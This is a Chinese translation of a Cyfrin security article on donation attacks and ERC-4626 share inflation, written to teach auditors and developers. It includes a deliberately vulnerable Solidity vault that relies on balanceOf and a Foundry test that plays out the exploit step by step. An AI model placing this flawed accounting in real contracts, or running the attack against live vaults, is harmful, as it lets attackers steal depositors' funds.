Solodit 检查表解析:捐赠攻击

  • cyfrin
  • 发布于 3天前
  • 阅读 122

本文深入探讨了“捐赠攻击”在智能合约中的危害,并强调了内置会计方法的重要性以增强安全性。作者通过具体示例和代码展示了如何通过恶意捐赠来操纵合约状态,导致资产的失衡,并建议使用内部会计而非外部函数来维护资金的准确性和安全性。

Solodit 检查表介绍 (3): 捐赠攻击

了解捐赠攻击如何利用智能合约中的代币余额假设,以及如何通过内部会计保护你的协议。

大家好,我是 Hans!欢迎回到 Solodit 检查表的另一次深入探讨。在这个系列中,我们超越表面上的安全性,为你提供可行的见解,以加强你的 智能合约 安全性。我们的目标是什么?让你逐项提高智能合约安全性。

之前,我们深入探讨了拒绝服务 (DoS) 攻击 ( 第 1 部分, 第 2 部分)。现在,我们转向一种更加微妙但潜在毁灭性的漏洞:捐赠攻击

为了获得最佳体验,请打开一个标签页查看 Solodit 检查表

捐赠攻击的危险:为什么你应该关心?

在去中心化金融( DeFi)和智能合约的世界中,看似无害的行为可以被武器化。在这种情况下,捐赠攻击利用了合约管理代币余额方面的漏洞。它通常源于由于对外部因素的假设导致的错误 状态

漏洞的核心在于攻击者操控合约状态的能力。想象一下,攻击者巧妙地将代币“捐赠”直接发送到合约,而不是通过协议的接口。这个看似利他的行为可能会严重干扰合约的逻辑,导致不公平的资产分配,从而可能损害合法用户的利益。如果协议不考虑这种直接转移,而仅依赖代币余额进行会计,攻击者便可以操纵合约的状态。

鉴于问题的复杂性,今天我们将重点关注单个检查表项SOL-AM-DA-1:协议是否依赖 balancebalanceOf 而不是内部会计?

{
    "id": "SOL-AM-DA-1",
    "category": "捐赠攻击",
    "question": "该协议是否依赖 `balance` 或 `balanceOf` 而不是内部会计?",
    "description": "攻击者可以通过捐赠代币操纵会计。",
    "remediation": "使用内部会计代替本地依赖 `balanceOf`。",
  }

该项目旨在通过确保协议不依赖外部函数(如 balanceOfbalance)进行会计来防范捐赠攻击漏洞。该检查列表项直接与内部会计相关——一种精确跟踪智能合约内资产所有权和余额的方法。内部会计利用专用状态 变量 来存储和管理余额,而不是依赖外部函数,如 balanceOf

外部会计中的漏洞是任何人都可以将代币直接发送到合约,无论预期逻辑如何。如果你的合约使用 token.balanceOf(address(this)) 来计算份额、提现或任何关键值,攻击者可以捐赠代币,从而不可逆转地损害系统,可能改变预期结果。

ERC-4626 份额膨胀:经典捐赠攻击

捐赠攻击漏洞最显著且文档化良好的例子之一是 ERC-4626 份额膨胀攻击

什么是 ERC-4626?

ERC-4626 是一种标准化接口,用于通证化金库。将金库视为一个智能合约,用户可以在其中存入特定的基础资产(如 USDC 或 包裹 以太币 (WETH))并获得“份额”,代表他们在金库所持有总资产中的部分。 这些份额通常随着金库通过出借或农场策略产生收益而增加价值。该标准旨在使聚合器和用户更轻松地与不同的收益金库进行互动。

漏洞:捐赠与 ERC-4626 的结合

许多早期或幼稚的 ERC-4626 实现基于当前金库合约所持有的基础资产的总量来计算存款时铸造的份额数量。它们通常使用 asset.balanceOf(address(this)) 来确定这个值。

这个核心公式概念上看起来是这样的(简化后):

shares_to_mint = deposit_amount * total_shares / total_assets_in_vault

在这里,total_assets_in_vault 经常使用 asset.balanceOf(address(this)) 计算。而这就是捐赠攻击向量的开启之处。

份额膨胀攻击说明

此攻击通常针对新部署的 ERC-4626 金库,尤其是在任何合法用户存入资金之前。攻击者可以操控份额价格计算,盗取存款人的资金。

假设创建了一个新的 WETH 金库,攻击展开如下:

  1. 起始点:金库开始为空 - 没有份额,没有 WETH。

  2. 攻击者的第一次存款:攻击者通过金库的存款功能存入 1 WEI(的 WETH)。金库设计为每存入 1 WEI,就铸造 1 份额,因此攻击者最终获得 1 WEI 份额。此时,份额价格为每份额 1 WEI(的 WETH)。

  3. 操控过程:攻击者将 1 WETH(1e18 WEI)直接发送到金库。现在,金库持有大约 1 WETH(1e18+1 WEI),但在流通中仍然只有 1 WEI 的份额。此时,份额价格几乎为 1e18 WEI(1 WETH)每份额。(所谓的“股份膨胀”)

  4. 受害者的损失:一个普通用户试图存入 0.5 WETH。金库使用 (deposit amount × total shares) ÷ total assets 来计算份额。这为 5e17 ÷ (1e18 + 1),结果将向下取整到 0 份额。因此,用户尽管存入 0.5 WETH,却得到了 0 份额!

  5. 盗窃:攻击者提取他们的 1 WEI 份额,从而有效地窃取金库中的所有资产(1.5 WETH)。

关键技巧是在真实用户存入之前操控份额与资产的比例,制造一个数学陷阱,使得存款变得没有份额。

为什么这是捐赠攻击?

攻击者可以通过直接向合约发送资产而不成比例地增加 totalSupply 的份额来操控份额价格。

缓解 ERC-4626 份额膨胀攻击

核心问题围绕处理首笔存款以及防止在 totalSupply 为零或极小值时的操控。

你可以在 OpenZeppelin 合约 GitHub 问题 #3706 中跟随详细讨论。考虑了几种方法:

  1. 要求最小初始存款:强制首笔存款必须相当大,使得微小捐赠技巧的效果降低,但这会导致用户体验差,且未能完全解决问题。

  2. 内部余额跟踪:完全忽略 asset.balanceOf,并精确在内部跟踪存款和取款。这是理想情况,与我们的检查列表项一致,但可能增加复杂性和 gas 使用。

  3. 虚拟份额/抵消:这是一种实际且被广泛采用的解决方案。

虚拟抵消方法优雅地避开了“零 totalSupply”问题。正如 @Amxx 在这个 Gist 中精彩说明的那样。

本质上,金库假装它从一开始就拥有一些资产和份额。这固定了份额价格计算,并使其抵御攻击的操控。OpenZeppelin 的 ERC-4626 实现现在已 Incorporate 这个虚拟抵消机制,从而更加安全。

注意:新的虚拟抵消方法旨在解决 份额膨胀攻击 同时维护原始 ERC-4626 设计原则。对于超出 ERC-4626 标准范围的项目,实施内部余额跟踪可能更加简单。

脆弱金库示例

以下是脆弱代币金库的简化示例。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract TokenVault {
    IERC20 public token;
    mapping(address => uint256) public shares;
    uint256 public totalSupply;

    constructor(IERC20 _token) {
        token = _token;
    }

    function deposit(uint256 _amount) external {
        uint256 tokenBalance = token.balanceOf(address(this));
        uint256 shareAmount = 0;

        if (totalSupply == 0) {
            shareAmount = _amount;
        } else {
            shareAmount = _amount * totalSupply / tokenBalance;
        }

        shares[msg.sender] = shares[msg.sender] + shareAmount;
        totalSupply = totalSupply + shareAmount;
        token.transferFrom(msg.sender, address(this), _amount);
    }

    function withdraw(uint256 _amount) external {
        uint256 shareAmount = _amount;
        require(shares[msg.sender] >= shareAmount, "股份不足");

        uint256 tokenBalance = token.balanceOf(address(this));
        uint256 amountToWithdraw = shareAmount * tokenBalance / totalSupply;

        shares[msg.sender] = shares[msg.sender] - shareAmount;
        totalSupply = totalSupply - shareAmount;
        token.transfer(msg.sender, amountToWithdraw);
    }
}

关键缺陷depositwithdraw 函数使用 token.balanceOf(address(this)) 来计算份额价格和取款金额。这为捐赠攻击打开了大门,允许任何 Actor 操作智能合约的状态变量

以下是一个 Foundry 测试案例,演示这个攻击以直观地展示其影响:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract DonationAttackTest is Test {
    TokenVault public vault;
    TestToken public token;
    address attacker = address(1);
    address victim = address(2);

    // 攻击者初始代币
    uint256 constant ATTACKER_INITIAL_TOKENS = 10000;
    // 首次存款的少量代币
    uint256 constant ATTACKER_INITIAL_DEPOSIT = 1;
    // 直接捐赠的大量代币
    uint256 constant ATTACKER_DONATION = 9999;
    // 受害者存款金额
    uint256 constant VICTIM_DEPOSIT = 1000;

    function setUp() public {
        token = new TestToken("Test Token", "TT");
        vault = new TokenVault(IERC20(address(token)));

        // 为用户铸造代币
        token.mint(attacker, ATTACKER_INITIAL_TOKENS);
        token.mint(victim, VICTIM_DEPOSIT);

        // 授权金库支出代币
        vm.prank(attacker);
        token.approve(address(vault), type(uint256).max);

        vm.prank(victim);
        token.approve(address(vault), type(uint256).max);
    }

    function testDonationAttack() public {
        // ---- 第一步:攻击者存入最小金额 ----
        console.log("初始状态:");
        console.log("攻击者代币余额:", token.balanceOf(attacker));

        vm.startPrank(attacker);
        vault.deposit(ATTACKER_INITIAL_DEPOSIT);
        console.log("攻击者存入:", ATTACKER_INITIAL_DEPOSIT);
        console.log("攻击者份额:", vault.shares(attacker));

        // 验证初始存款
        assertEq(vault.shares(attacker), ATTACKER_INITIAL_DEPOSIT);
        assertEq(vault.totalSupply(), ATTACKER_INITIAL_DEPOSIT);
        assertEq(token.balanceOf(address(vault)), ATTACKER_INITIAL_DEPOSIT);

        // ---- 第二步:攻击者捐赠以膨胀份额价格 ----
        token.transfer(address(vault), ATTACKER_DONATION);
        vm.stopPrank();

        console.log("\n捐赠后:");
        console.log("金库代币余额:", token.balanceOf(address(vault)));

        // 金库现在有 10000 个代币 (1 + 9999)
        assertEq(token.balanceOf(address(vault)), ATTACKER_INITIAL_TOKENS);

        // ---- 第三步:受害者存款并几乎没有获得份额 ----
        vm.prank(victim);
        vault.deposit(VICTIM_DEPOSIT);

        uint256 victimShares = vault.shares(victim);
        console.log("\n受害者存入:");
        console.log("受害者存入:", VICTIM_DEPOSIT);
        console.log("受害者份额:", victimShares);

        // 金库中的总代币
        console.log("金库中的总代币:", token.balanceOf(address(vault)));

        // ---- 第四步:攻击者提取并获得利润 ----
        vm.prank(attacker);
        vault.withdraw(ATTACKER_INITIAL_DEPOSIT);

        uint256 attackerFinalBalance = token.balanceOf(attacker);
        console.log("\n攻击者提取:");
        console.log("攻击者初始存款:", ATTACKER_INITIAL_DEPOSIT);
        console.log("攻击者提取后的最终余额:", attackerFinalBalance);

        // 由于攻击者有 1 份额占 1 份总份额 (受害者得到 0),
        // 因此他们应该得到金库的所有余额,包括受害者的存款
        // (1 + 9999 + 1000) = 11000 个代币
        // 远远超过他们最初的 1 个代币存款
        assertTrue(attackerFinalBalance > ATTACKER_INITIAL_TOKENS);

        // 计算攻击的利润
        uint256 profit = attackerFinalBalance - ATTACKER_INITIAL_TOKENS;
        console.log("攻击者利润:", profit);
    }
}

结论

关键要点是?谨慎选择你的会计方法内部会计 提供增强的安全性和对抗捐赠攻击的保护。在你的智能合约中实现它,在内部跟踪余额,并使你的代码抵御意外的代币转账。

虽然捐赠攻击可能看起来很具体,但其基本原则适用于各种智能合约安全案例:永远不要隐式信任外部数据源。始终验证并控制你的合约所依赖的数据,以确保其保持安全并按预期工作。

我希望这次对捐赠攻击的深入探讨增强了你对智能合约安全性的理解。保持警惕,持续学习,专注于构建安全、可靠的代码。

  • 原文链接: cyfrin.io/blog/solodit-c...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
cyfrin
cyfrin
Securing the blockchain and its users. Industry-leading smart contract audits, tools, and education.